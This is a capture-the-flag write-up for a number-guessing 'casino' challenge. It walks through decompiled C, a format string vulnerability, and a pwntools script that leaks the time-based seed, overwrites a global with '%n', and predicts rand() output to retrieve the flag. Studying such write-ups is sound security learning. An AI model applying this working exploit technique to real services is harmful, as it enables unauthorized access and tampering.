Tags: string format 

Rating: 4.5

Take a quick glance at the main funtion, the program is a game to guess random numbers, and the random seed is `(time(0) / 0xA) + bet`, where `bet` has a value of `1`. However we can't get the flag even if we guessed all numbers right, because the variable `v5` has to be more than 100, but there's only 99 guesses and in each guess `v5` is incremented by `bet`, that means we can only make `v5` to 99.

```cpp
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-5Ch]
int v5; // [rsp+8h] [rbp-58h]
unsigned int i; // [rsp+Ch] [rbp-54h]
unsigned int seed; // [rsp+10h] [rbp-50h]
int v8; // [rsp+14h] [rbp-4Ch]
FILE *stream; // [rsp+18h] [rbp-48h]
char name; // [rsp+20h] [rbp-40h]
char ptr; // [rsp+30h] [rbp-30h]
unsigned __int64 v12; // [rsp+58h] [rbp-8h]

v12 = __readfsqword(0x28u);
setup();
seed = (unsigned int)time(0LL) / 0xA;
printf("What is your name? ");
read(0, &name, 0x10uLL);
printf("Welcome ");
printf(&name);
putchar(10);
seed += bet;
srand(seed);
v4 = 0;
v5 = 0;
for ( i = 1; (signed int)i <= 99; ++i )
{
v8 = rand();
printf("[%d/100] Guess my number: ", i);
__isoc99_scanf("%d", &v4;;
if ( v8 != v4 )
{
puts("Sorry! It was not my number");
exit(0);
}
puts("Correct!");
v5 += bet;
}
if ( v5 > 100 )
{
puts("Cool! Here's another prize");
stream = fopen("flag.txt", "r");
fread(&ptr, 0x1EuLL, 1uLL, stream);
fclose(stream);
printf("%s", &ptr);
}
return 0;
}
```

And there is also an obvious format string vulnerbility here, allowing 16 bytes' input for format string attack.

```cpp
printf("What is your name? ");
read(0, &name, 0x10uLL);
printf("Welcome ");
printf(&name);
```

Therefore we can use this format string attack to modify the `bet` variable's value`'aaa%11$n'+p64(0x602020)`. And the seed `(time(0) / 0xA)` can also be leaked by `%8$p`, but we can't do them together because we only have 16bytes' input. But the seed is base on time, it won't change in short time. So we can just perfrom them in two connections, first to leak and the second to modify the `bet` variable and guess the numbers. Here is my script:

```python
from pwn import *
from ctypes import *
import sys

LIBC = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.23.so')

HOST = "35.243.188.20"
PORT = 2001

context.log_level = 'debug'

def get_seed():
s = remote(HOST, PORT)
s.sendlineafter('name? ', '%8$p')
seed = int(s.recvuntil('[1/100]')[-18:-9], 16)
s.close()
return seed

def guess(seed):
s = remote(HOST, PORT)
s.sendlineafter('name? ', 'aaa%11$n'+p64(0x602020))
LIBC.srand(seed + 3) # we printed 3 chars aaa, so we overwrote 3 into bet variable
for i in range(99):
s.sendlineafter('number: ', str(LIBC.rand()) )
s.interactive()

seed = get_seed()
print seed
guess(seed)
```
Runing the script we got `F#{buggy_c4s1n0_1s_n0t_f41r!}`